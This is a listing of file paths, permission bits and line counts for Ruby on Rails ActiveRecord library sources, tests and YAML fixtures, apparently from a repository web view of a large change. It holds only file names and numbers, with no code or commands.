-rw-r--r--activerecord/lib/active_record/associations/association.rb65
-rw-r--r--activerecord/lib/active_record/associations/association_scope.rb211
-rw-r--r--activerecord/lib/active_record/associations/belongs_to_association.rb70
-rw-r--r--activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb9
-rw-r--r--activerecord/lib/active_record/associations/builder/association.rb145
-rw-r--r--activerecord/lib/active_record/associations/builder/belongs_to.rb118
-rw-r--r--activerecord/lib/active_record/associations/builder/collection_association.rb93
-rw-r--r--activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb135
-rw-r--r--activerecord/lib/active_record/associations/builder/has_many.rb6
-rw-r--r--activerecord/lib/active_record/associations/builder/has_one.rb14
-rw-r--r--activerecord/lib/active_record/associations/builder/singular_association.rb22
-rw-r--r--activerecord/lib/active_record/associations/collection_association.rb298
-rw-r--r--activerecord/lib/active_record/associations/collection_proxy.rb161
-rw-r--r--activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb65
-rw-r--r--activerecord/lib/active_record/associations/has_many_association.rb104
-rw-r--r--activerecord/lib/active_record/associations/has_many_through_association.rb106
-rw-r--r--activerecord/lib/active_record/associations/has_one_association.rb18
-rw-r--r--activerecord/lib/active_record/associations/has_one_through_association.rb2
-rw-r--r--activerecord/lib/active_record/associations/join_dependency.rb380
-rw-r--r--activerecord/lib/active_record/associations/join_dependency/join_association.rb166
-rw-r--r--activerecord/lib/active_record/associations/join_dependency/join_base.rb16
-rw-r--r--activerecord/lib/active_record/associations/join_dependency/join_part.rb67
-rw-r--r--activerecord/lib/active_record/associations/join_helper.rb45
-rw-r--r--activerecord/lib/active_record/associations/preloader.rb169
-rw-r--r--activerecord/lib/active_record/associations/preloader/association.rb97
-rw-r--r--activerecord/lib/active_record/associations/preloader/collection_association.rb4
-rw-r--r--activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb60
-rw-r--r--activerecord/lib/active_record/associations/preloader/has_many_through.rb10
-rw-r--r--activerecord/lib/active_record/associations/preloader/singular_association.rb6
-rw-r--r--activerecord/lib/active_record/associations/preloader/through_association.rb84
-rw-r--r--activerecord/lib/active_record/associations/singular_association.rb32
-rw-r--r--activerecord/lib/active_record/associations/through_association.rb39
-rw-r--r--activerecord/lib/active_record/attribute.rb131
-rw-r--r--activerecord/lib/active_record/attribute_assignment.rb49
-rw-r--r--activerecord/lib/active_record/attribute_decorators.rb66
-rw-r--r--activerecord/lib/active_record/attribute_methods.rb263
-rw-r--r--activerecord/lib/active_record/attribute_methods/before_type_cast.rb5
-rw-r--r--activerecord/lib/active_record/attribute_methods/dirty.rb160
-rw-r--r--activerecord/lib/active_record/attribute_methods/primary_key.rb27
-rw-r--r--activerecord/lib/active_record/attribute_methods/query.rb2
-rw-r--r--activerecord/lib/active_record/attribute_methods/read.rb140
-rw-r--r--activerecord/lib/active_record/attribute_methods/serialization.rb149
-rw-r--r--activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb75
-rw-r--r--activerecord/lib/active_record/attribute_methods/write.rb80
-rw-r--r--activerecord/lib/active_record/attribute_set.rb73
-rw-r--r--activerecord/lib/active_record/attribute_set/builder.rb84
-rw-r--r--activerecord/lib/active_record/attributes.rb139
-rw-r--r--activerecord/lib/active_record/autosave_association.rb422
-rw-r--r--activerecord/lib/active_record/base.rb90
-rw-r--r--activerecord/lib/active_record/callbacks.rb25
-rw-r--r--activerecord/lib/active_record/coders/json.rb13
-rw-r--r--activerecord/lib/active_record/coders/yaml_column.rb21
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb188
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb9
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb122
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb28
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/quoting.rb130
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb21
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb125
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb319
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb44
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb765
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/transaction.rb230
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_adapter.rb301
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb508
-rw-r--r--activerecord/lib/active_record/connection_adapters/column.rb297
-rw-r--r--activerecord/lib/active_record/connection_adapters/connection_specification.rb272
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb76
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql_adapter.rb265
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb74
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/cast.rb126
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/column.rb20
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb84
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid.rb299
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb96
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb52
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb13
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb14
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb46
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/date.rb11
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb27
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb13
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb17
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/float.rb21
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb59
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb13
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/infinity.rb13
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/integer.rb11
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb35
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb23
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb43
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb43
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb79
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb15
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/time.rb11
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb85
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb28
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb26
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb28
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb153
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb24
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb152
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb249
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/utils.rb77
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb731
-rw-r--r--activerecord/lib/active_record/connection_adapters/schema_cache.rb61
-rw-r--r--activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb311
-rw-r--r--activerecord/lib/active_record/connection_handling.rb54
-rw-r--r--activerecord/lib/active_record/core.rb345
-rw-r--r--activerecord/lib/active_record/counter_cache.rb70
-rw-r--r--activerecord/lib/active_record/dynamic_matchers.rb19
-rw-r--r--activerecord/lib/active_record/enum.rb198
-rw-r--r--activerecord/lib/active_record/errors.rb98
-rw-r--r--activerecord/lib/active_record/explain.rb69
-rw-r--r--activerecord/lib/active_record/explain_registry.rb30
-rw-r--r--activerecord/lib/active_record/explain_subscriber.rb7
-rw-r--r--activerecord/lib/active_record/fixture_set/file.rb6
-rw-r--r--activerecord/lib/active_record/fixtures.rb332
-rw-r--r--activerecord/lib/active_record/gem_version.rb15
-rw-r--r--activerecord/lib/active_record/inheritance.rb105
-rw-r--r--activerecord/lib/active_record/integration.rb73
-rw-r--r--activerecord/lib/active_record/locking/optimistic.rb59
-rw-r--r--activerecord/lib/active_record/locking/pessimistic.rb10
-rw-r--r--activerecord/lib/active_record/log_subscriber.rb37
-rw-r--r--activerecord/lib/active_record/migration.rb480
-rw-r--r--activerecord/lib/active_record/migration/command_recorder.rb158
-rw-r--r--activerecord/lib/active_record/migration/join_table.rb2
-rw-r--r--activerecord/lib/active_record/model_schema.rb119
-rw-r--r--activerecord/lib/active_record/nested_attributes.rb209
-rw-r--r--activerecord/lib/active_record/no_touching.rb52
-rw-r--r--activerecord/lib/active_record/null_relation.rb38
-rw-r--r--activerecord/lib/active_record/persistence.rb211
-rw-r--r--activerecord/lib/active_record/query_cache.rb6
-rw-r--r--activerecord/lib/active_record/querying.rb51
-rw-r--r--activerecord/lib/active_record/railtie.rb84
-rw-r--r--activerecord/lib/active_record/railties/console_sandbox.rb5
-rw-r--r--activerecord/lib/active_record/railties/controller_runtime.rb3
-rw-r--r--activerecord/lib/active_record/railties/databases.rake259
-rw-r--r--activerecord/lib/active_record/readonly_attributes.rb9
-rw-r--r--activerecord/lib/active_record/reflection.rb582
-rw-r--r--activerecord/lib/active_record/relation.rb317
-rw-r--r--activerecord/lib/active_record/relation/batches.rb107
-rw-r--r--activerecord/lib/active_record/relation/calculations.rb172
-rw-r--r--activerecord/lib/active_record/relation/delegation.rb114
-rw-r--r--activerecord/lib/active_record/relation/finder_methods.rb390
-rw-r--r--activerecord/lib/active_record/relation/merger.rb133
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder.rb165
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder/array_handler.rb47
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb13
-rw-r--r--activerecord/lib/active_record/relation/query_methods.rb559
-rw-r--r--activerecord/lib/active_record/relation/spawn_methods.rb20
-rw-r--r--activerecord/lib/active_record/result.rb78
-rw-r--r--activerecord/lib/active_record/runtime_registry.rb22
-rw-r--r--activerecord/lib/active_record/sanitization.rb54
-rw-r--r--activerecord/lib/active_record/schema.rb3
-rw-r--r--activerecord/lib/active_record/schema_dumper.rb125
-rw-r--r--activerecord/lib/active_record/schema_migration.rb52
-rw-r--r--activerecord/lib/active_record/scoping.rb61
-rw-r--r--activerecord/lib/active_record/scoping/default.rb43
-rw-r--r--activerecord/lib/active_record/scoping/named.rb47
-rw-r--r--activerecord/lib/active_record/serialization.rb4
-rw-r--r--activerecord/lib/active_record/serializers/xml_serializer.rb10
-rw-r--r--activerecord/lib/active_record/statement_cache.rb111
-rw-r--r--activerecord/lib/active_record/store.rb122
-rw-r--r--activerecord/lib/active_record/tasks/database_tasks.rb202
-rw-r--r--activerecord/lib/active_record/tasks/mysql_database_tasks.rb53
-rw-r--r--activerecord/lib/active_record/tasks/postgresql_database_tasks.rb11
-rw-r--r--activerecord/lib/active_record/tasks/sqlite_database_tasks.rb14
-rw-r--r--activerecord/lib/active_record/test_case.rb95
-rw-r--r--activerecord/lib/active_record/timestamp.rb28
-rw-r--r--activerecord/lib/active_record/transactions.rb138
-rw-r--r--activerecord/lib/active_record/type.rb22
-rw-r--r--activerecord/lib/active_record/type/big_integer.rb13
-rw-r--r--activerecord/lib/active_record/type/binary.rb50
-rw-r--r--activerecord/lib/active_record/type/boolean.rb30
-rw-r--r--activerecord/lib/active_record/type/date.rb46
-rw-r--r--activerecord/lib/active_record/type/date_time.rb43
-rw-r--r--activerecord/lib/active_record/type/decimal.rb40
-rw-r--r--activerecord/lib/active_record/type/decimal_without_scale.rb11
-rw-r--r--activerecord/lib/active_record/type/decorator.rb14
-rw-r--r--activerecord/lib/active_record/type/float.rb19
-rw-r--r--activerecord/lib/active_record/type/hash_lookup_type_map.rb17
-rw-r--r--activerecord/lib/active_record/type/integer.rb51
-rw-r--r--activerecord/lib/active_record/type/mutable.rb16
-rw-r--r--activerecord/lib/active_record/type/numeric.rb36
-rw-r--r--activerecord/lib/active_record/type/serialized.rb56
-rw-r--r--activerecord/lib/active_record/type/string.rb36
-rw-r--r--activerecord/lib/active_record/type/text.rb11
-rw-r--r--activerecord/lib/active_record/type/time.rb26
-rw-r--r--activerecord/lib/active_record/type/time_value.rb38
-rw-r--r--activerecord/lib/active_record/type/type_map.rb64
-rw-r--r--activerecord/lib/active_record/type/value.rb101
-rw-r--r--activerecord/lib/active_record/validations.rb47
-rw-r--r--activerecord/lib/active_record/validations/associated.rb14
-rw-r--r--activerecord/lib/active_record/validations/presence.rb14
-rw-r--r--activerecord/lib/active_record/validations/uniqueness.rb109
-rw-r--r--activerecord/lib/active_record/version.rb12
-rw-r--r--activerecord/lib/rails/generators/active_record.rb10
-rw-r--r--activerecord/lib/rails/generators/active_record/migration.rb18
-rw-r--r--activerecord/lib/rails/generators/active_record/migration/migration_generator.rb21
-rw-r--r--activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb22
-rw-r--r--activerecord/lib/rails/generators/active_record/migration/templates/migration.rb26
-rw-r--r--activerecord/lib/rails/generators/active_record/model/model_generator.rb6
-rw-r--r--activerecord/lib/rails/generators/active_record/model/templates/migration.rb15
-rw-r--r--activerecord/lib/rails/generators/active_record/model/templates/model.rb7
-rw-r--r--activerecord/test/active_record/connection_adapters/fake_adapter.rb1
-rw-r--r--activerecord/test/cases/adapter_test.rb124
-rw-r--r--activerecord/test/cases/adapters/firebird/connection_test.rb8
-rw-r--r--activerecord/test/cases/adapters/firebird/default_test.rb16
-rw-r--r--activerecord/test/cases/adapters/firebird/migration_test.rb124
-rw-r--r--activerecord/test/cases/adapters/mysql/active_schema_test.rb86
-rw-r--r--activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb24
-rw-r--r--activerecord/test/cases/adapters/mysql/connection_test.rb133
-rw-r--r--activerecord/test/cases/adapters/mysql/consistency_test.rb49
-rw-r--r--activerecord/test/cases/adapters/mysql/enum_test.rb2
-rw-r--r--activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb148
-rw-r--r--activerecord/test/cases/adapters/mysql/quoting_test.rb4
-rw-r--r--activerecord/test/cases/adapters/mysql/reserved_word_test.rb13
-rw-r--r--activerecord/test/cases/adapters/mysql/schema_test.rb60
-rw-r--r--activerecord/test/cases/adapters/mysql/statement_pool_test.rb24
-rw-r--r--activerecord/test/cases/adapters/mysql2/active_schema_test.rb84
-rw-r--r--activerecord/test/cases/adapters/mysql2/boolean_test.rb92
-rw-r--r--activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb24
-rw-r--r--activerecord/test/cases/adapters/mysql2/connection_test.rb79
-rw-r--r--activerecord/test/cases/adapters/mysql2/enum_test.rb2
-rw-r--r--activerecord/test/cases/adapters/mysql2/explain_test.rb13
-rw-r--r--activerecord/test/cases/adapters/mysql2/reserved_word_test.rb14
-rw-r--r--activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb39
-rw-r--r--activerecord/test/cases/adapters/mysql2/schema_test.rb44
-rw-r--r--activerecord/test/cases/adapters/oracle/synonym_test.rb17
-rw-r--r--activerecord/test/cases/adapters/postgresql/active_schema_test.rb29
-rw-r--r--activerecord/test/cases/adapters/postgresql/array_test.rb281
-rw-r--r--activerecord/test/cases/adapters/postgresql/bit_string_test.rb76
-rw-r--r--activerecord/test/cases/adapters/postgresql/bytea_test.rb125
-rw-r--r--activerecord/test/cases/adapters/postgresql/change_schema_test.rb31
-rw-r--r--activerecord/test/cases/adapters/postgresql/citext_test.rb78
-rw-r--r--activerecord/test/cases/adapters/postgresql/composite_test.rb131
-rw-r--r--activerecord/test/cases/adapters/postgresql/connection_test.rb148
-rw-r--r--activerecord/test/cases/adapters/postgresql/datatype_test.rb260
-rw-r--r--activerecord/test/cases/adapters/postgresql/domain_test.rb47
-rw-r--r--activerecord/test/cases/adapters/postgresql/enum_test.rb83
-rw-r--r--activerecord/test/cases/adapters/postgresql/explain_test.rb17
-rw-r--r--activerecord/test/cases/adapters/postgresql/extension_migration_test.rb63
-rw-r--r--activerecord/test/cases/adapters/postgresql/full_text_test.rb44
-rw-r--r--activerecord/test/cases/adapters/postgresql/geometric_test.rb139
-rw-r--r--activerecord/test/cases/adapters/postgresql/hstore_test.rb427
-rw-r--r--activerecord/test/cases/adapters/postgresql/infinity_test.rb44
-rw-r--r--activerecord/test/cases/adapters/postgresql/json_test.rb155
-rw-r--r--activerecord/test/cases/adapters/postgresql/ltree_test.rb53
-rw-r--r--activerecord/test/cases/adapters/postgresql/money_test.rb96
-rw-r--r--activerecord/test/cases/adapters/postgresql/network_test.rb92
-rw-r--r--activerecord/test/cases/adapters/postgresql/numbers_test.rb49
-rw-r--r--activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb373
-rw-r--r--activerecord/test/cases/adapters/postgresql/quoting_test.rb36
-rw-r--r--activerecord/test/cases/adapters/postgresql/range_test.rb323
-rw-r--r--activerecord/test/cases/adapters/postgresql/rename_table_test.rb34
-rw-r--r--activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb2
-rw-r--r--activerecord/test/cases/adapters/postgresql/schema_test.rb200
-rw-r--r--activerecord/test/cases/adapters/postgresql/sql_types_test.rb18
-rw-r--r--activerecord/test/cases/adapters/postgresql/statement_pool_test.rb56
-rw-r--r--activerecord/test/cases/adapters/postgresql/timestamp_test.rb106
-rw-r--r--activerecord/test/cases/adapters/postgresql/type_lookup_test.rb15
-rw-r--r--activerecord/test/cases/adapters/postgresql/utils_test.rb47
-rw-r--r--activerecord/test/cases/adapters/postgresql/uuid_test.rb294
-rw-r--r--activerecord/test/cases/adapters/postgresql/view_test.rb76
-rw-r--r--activerecord/test/cases/adapters/postgresql/xml_test.rb55
-rw-r--r--activerecord/test/cases/adapters/sqlite3/copy_table_test.rb13
-rw-r--r--activerecord/test/cases/adapters/sqlite3/explain_test.rb7
-rw-r--r--activerecord/test/cases/adapters/sqlite3/quoting_test.rb32
-rw-r--r--activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb436
-rw-r--r--activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb21
-rw-r--r--activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb23
-rw-r--r--activerecord/test/cases/aggregations_test.rb4
-rw-r--r--activerecord/test/cases/ar_schema_test.rb118
-rw-r--r--activerecord/test/cases/associations/association_scope_test.rb10
-rw-r--r--activerecord/test/cases/associations/belongs_to_associations_test.rb349
-rw-r--r--activerecord/test/cases/associations/callbacks_test.rb28
-rw-r--r--activerecord/test/cases/associations/cascaded_eager_loading_test.rb25
-rw-r--r--activerecord/test/cases/associations/deprecated_counter_cache_on_has_many_through_test.rb26
-rw-r--r--activerecord/test/cases/associations/eager_load_nested_include_test.rb8
-rw-r--r--activerecord/test/cases/associations/eager_singularization_test.rb203
-rw-r--r--activerecord/test/cases/associations/eager_test.rb332
-rw-r--r--activerecord/test/cases/associations/extension_test.rb14
-rw-r--r--activerecord/test/cases/associations/habtm_join_table_test.rb35
-rw-r--r--activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb247
-rw-r--r--activerecord/test/cases/associations/has_many_associations_test.rb895
-rw-r--r--activerecord/test/cases/associations/has_many_through_associations_test.rb296
-rw-r--r--activerecord/test/cases/associations/has_one_associations_test.rb100
-rw-r--r--activerecord/test/cases/associations/has_one_through_associations_test.rb32
-rw-r--r--activerecord/test/cases/associations/inner_join_association_test.rb46
-rw-r--r--activerecord/test/cases/associations/inverse_associations_test.rb201
-rw-r--r--activerecord/test/cases/associations/join_dependency_test.rb8
-rw-r--r--activerecord/test/cases/associations/join_model_test.rb37
-rw-r--r--activerecord/test/cases/associations/nested_through_associations_test.rb27
-rw-r--r--activerecord/test/cases/associations/required_test.rb82
-rw-r--r--activerecord/test/cases/associations_test.rb76
-rw-r--r--activerecord/test/cases/attribute_decorators_test.rb125
-rw-r--r--activerecord/test/cases/attribute_methods/read_test.rb13
-rw-r--r--activerecord/test/cases/attribute_methods_test.rb283
-rw-r--r--activerecord/test/cases/attribute_set_test.rb182
-rw-r--r--activerecord/test/cases/attribute_test.rb172
-rw-r--r--activerecord/test/cases/attributes_test.rb115
-rw-r--r--activerecord/test/cases/autosave_association_test.rb238
-rw-r--r--activerecord/test/cases/base_test.rb687
-rw-r--r--activerecord/test/cases/batches_test.rb87
-rw-r--r--activerecord/test/cases/binary_test.rb8
-rw-r--r--activerecord/test/cases/bind_parameter_test.rb87
-rw-r--r--activerecord/test/cases/calculations_test.rb169
-rw-r--r--activerecord/test/cases/callbacks_test.rb12
-rw-r--r--activerecord/test/cases/clone_test.rb7
-rw-r--r--activerecord/test/cases/coders/yaml_column_test.rb14
-rw-r--r--activerecord/test/cases/column_definition_test.rb79
-rw-r--r--activerecord/test/cases/column_test.rb87
-rw-r--r--activerecord/test/cases/connection_adapters/abstract_adapter_test.rb53
-rw-r--r--activerecord/test/cases/connection_adapters/adapter_leasing_test.rb54
-rw-r--r--activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb293
-rw-r--r--activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb65
-rw-r--r--activerecord/test/cases/connection_adapters/schema_cache_test.rb41
-rw-r--r--activerecord/test/cases/connection_adapters/type_lookup_test.rb101
-rw-r--r--activerecord/test/cases/connection_management_test.rb42
-rw-r--r--activerecord/test/cases/connection_pool_test.rb46
-rw-r--r--activerecord/test/cases/connection_specification/resolver_test.rb110
-rw-r--r--activerecord/test/cases/core_test.rb101
-rw-r--r--activerecord/test/cases/counter_cache_test.rb51
-rw-r--r--activerecord/test/cases/date_time_test.rb8
-rw-r--r--activerecord/test/cases/defaults_test.rb149
-rw-r--r--activerecord/test/cases/deprecated_dynamic_methods_test.rb592
-rw-r--r--activerecord/test/cases/dirty_test.rb192
-rw-r--r--activerecord/test/cases/disconnected_test.rb28
-rw-r--r--activerecord/test/cases/dup_test.rb52
-rw-r--r--activerecord/test/cases/enum_test.rb290
-rw-r--r--activerecord/test/cases/explain_subscriber_test.rb64
-rw-r--r--activerecord/test/cases/explain_test.rb81
-rw-r--r--activerecord/test/cases/finder_respond_to_test.rb46
-rw-r--r--activerecord/test/cases/finder_test.rb594
-rw-r--r--activerecord/test/cases/fixture_set/file_test.rb55
-rw-r--r--activerecord/test/cases/fixtures_test.rb141
-rw-r--r--activerecord/test/cases/forbidden_attributes_protection_test.rb35
-rw-r--r--activerecord/test/cases/helper.rb142
-rw-r--r--activerecord/test/cases/hot_compatibility_test.rb4
-rw-r--r--activerecord/test/cases/inheritance_test.rb72
-rw-r--r--activerecord/test/cases/integration_test.rb139
-rw-r--r--activerecord/test/cases/invalid_connection_test.rb22
-rw-r--r--activerecord/test/cases/invertible_migration_test.rb197
-rw-r--r--activerecord/test/cases/json_serialization_test.rb88
-rw-r--r--activerecord/test/cases/locking_test.rb74
-rw-r--r--activerecord/test/cases/log_subscriber_test.rb63
-rw-r--r--activerecord/test/cases/migration/change_schema_test.rb159
-rw-r--r--activerecord/test/cases/migration/change_table_test.rb62
-rw-r--r--activerecord/test/cases/migration/column_attributes_test.rb247
-rw-r--r--activerecord/test/cases/migration/column_positioning_test.rb50
-rw-r--r--activerecord/test/cases/migration/columns_test.rb299
-rw-r--r--activerecord/test/cases/migration/command_recorder_test.rb261
-rw-r--r--activerecord/test/cases/migration/create_join_table_test.rb69
-rw-r--r--activerecord/test/cases/migration/foreign_key_test.rb250
-rw-r--r--activerecord/test/cases/migration/helper.rb6
-rw-r--r--activerecord/test/cases/migration/index_test.rb147
-rw-r--r--activerecord/test/cases/migration/logger_test.rb7
-rw-r--r--activerecord/test/cases/migration/pending_migrations_test.rb53
-rw-r--r--activerecord/test/cases/migration/references_index_test.rb39
-rw-r--r--activerecord/test/cases/migration/references_statements_test.rb23
-rw-r--r--activerecord/test/cases/migration/rename_column_test.rb194
-rw-r--r--activerecord/test/cases/migration/rename_table_test.rb75
-rw-r--r--activerecord/test/cases/migration_test.rb423
-rw-r--r--activerecord/test/cases/migrator_test.rb569
-rw-r--r--activerecord/test/cases/mixin_test.rb46
-rw-r--r--activerecord/test/cases/modules_test.rb32
-rw-r--r--activerecord/test/cases/multiparameter_attributes_test.rb172
-rw-r--r--activerecord/test/cases/multiple_db_test.rb2
-rw-r--r--activerecord/test/cases/named_scope_test.rb449
-rw-r--r--activerecord/test/cases/nested_attributes_test.rb202
-rw-r--r--activerecord/test/cases/nested_attributes_with_callbacks_test.rb144
-rw-r--r--activerecord/test/cases/persistence_test.rb239
-rw-r--r--activerecord/test/cases/pooled_connections_test.rb22
-rw-r--r--activerecord/test/cases/primary_keys_test.rb102
-rw-r--r--activerecord/test/cases/query_cache_test.rb26
-rw-r--r--activerecord/test/cases/quoting_test.rb115
-rw-r--r--activerecord/test/cases/readonly_test.rb31
-rw-r--r--activerecord/test/cases/reaper_test.rb20
-rw-r--r--activerecord/test/cases/reflection_test.rb156
-rw-r--r--activerecord/test/cases/relation/delegation_test.rb68
-rw-r--r--activerecord/test/cases/relation/merging_test.rb161
-rw-r--r--activerecord/test/cases/relation/mutation_test.rb165
-rw-r--r--activerecord/test/cases/relation/predicate_builder_test.rb14
-rw-r--r--activerecord/test/cases/relation/where_chain_test.rb138
-rw-r--r--activerecord/test/cases/relation/where_test.rb137
-rw-r--r--activerecord/test/cases/relation_scoping_test.rb518
-rw-r--r--activerecord/test/cases/relation_test.rb148
-rw-r--r--activerecord/test/cases/relations_test.rb533
-rw-r--r--activerecord/test/cases/result_test.rb80
-rw-r--r--activerecord/test/cases/sanitize_test.rb58
-rw-r--r--activerecord/test/cases/schema_dumper_test.rb239
-rw-r--r--activerecord/test/cases/scoping/default_scoping_test.rb444
-rw-r--r--activerecord/test/cases/scoping/named_scoping_test.rb524
-rw-r--r--activerecord/test/cases/scoping/relation_scoping_test.rb357
-rw-r--r--activerecord/test/cases/serialization_test.rb40
-rw-r--r--activerecord/test/cases/serialized_attribute_test.rb179
-rw-r--r--activerecord/test/cases/statement_cache_test.rb98
-rw-r--r--activerecord/test/cases/store_test.rb59
-rw-r--r--activerecord/test/cases/tasks/database_tasks_test.rb106
-rw-r--r--activerecord/test/cases/tasks/mysql_rake_test.rb169
-rw-r--r--activerecord/test/cases/tasks/postgresql_rake_test.rb25
-rw-r--r--activerecord/test/cases/tasks/sqlite_rake_test.rb8
-rw-r--r--activerecord/test/cases/test_case.rb126
-rw-r--r--activerecord/test/cases/timestamp_test.rb262
-rw-r--r--activerecord/test/cases/transaction_callbacks_test.rb341
-rw-r--r--activerecord/test/cases/transaction_isolation_test.rb152
-rw-r--r--activerecord/test/cases/transactions_test.rb236
-rw-r--r--activerecord/test/cases/type/decimal_test.rb38
-rw-r--r--activerecord/test/cases/type/integer_test.rb106
-rw-r--r--activerecord/test/cases/type/string_test.rb36
-rw-r--r--activerecord/test/cases/type/type_map_test.rb177
-rw-r--r--activerecord/test/cases/types_test.rb124
-rw-r--r--activerecord/test/cases/unconnected_test.rb2
-rw-r--r--activerecord/test/cases/validations/association_validation_test.rb56
-rw-r--r--activerecord/test/cases/validations/i18n_generate_message_validation_test.rb26
-rw-r--r--activerecord/test/cases/validations/i18n_validation_test.rb3
-rw-r--r--activerecord/test/cases/validations/length_validation_test.rb47
-rw-r--r--activerecord/test/cases/validations/presence_validation_test.rb17
-rw-r--r--activerecord/test/cases/validations/uniqueness_validation_test.rb49
-rw-r--r--activerecord/test/cases/validations_repair_helper.rb10
-rw-r--r--activerecord/test/cases/validations_test.rb71
-rw-r--r--activerecord/test/cases/view_test.rb113
-rw-r--r--activerecord/test/cases/xml_serialization_test.rb38
-rw-r--r--activerecord/test/cases/yaml_serialization_test.rb70
-rw-r--r--activerecord/test/config.example.yml38
l---------activerecord/test/fixtures/all/admin1
-rw-r--r--activerecord/test/fixtures/books.yml2
-rw-r--r--activerecord/test/fixtures/bulbs.yml5
-rw-r--r--activerecord/test/fixtures/companies.yml8
-rw-r--r--activerecord/test/fixtures/computers.yml6
-rw-r--r--activerecord/test/fixtures/developers.yml3
-rw-r--r--activerecord/test/fixtures/dog_lovers.yml3
-rw-r--r--activerecord/test/fixtures/dogs.yml1
-rw-r--r--activerecord/test/fixtures/fk_test_has_pk.yml2
-rw-r--r--activerecord/test/fixtures/friendships.yml4
-rw-r--r--activerecord/test/fixtures/owners.yml1
-rw-r--r--activerecord/test/fixtures/people.yml3
-rw-r--r--activerecord/test/fixtures/pets.yml5
-rw-r--r--activerecord/test/fixtures/pirates.yml3
-rw-r--r--activerecord/test/fixtures/posts.yml2
-rw-r--r--activerecord/test/fixtures/readers.yml4
-rw-r--r--activerecord/test/fixtures/sponsors.yml2
-rw-r--r--activerecord/test/fixtures/tasks.yml2
-rw-r--r--activerecord/test/fixtures/to_be_linked/accounts.yml2
-rw-r--r--activerecord/test/fixtures/to_be_linked/users.yml10
-rw-r--r--activerecord/test/fixtures/topics.yml15
-rw-r--r--activerecord/test/fixtures/toys.yml10
-rw-r--r--activerecord/test/fixtures/traffic_lights.yml4
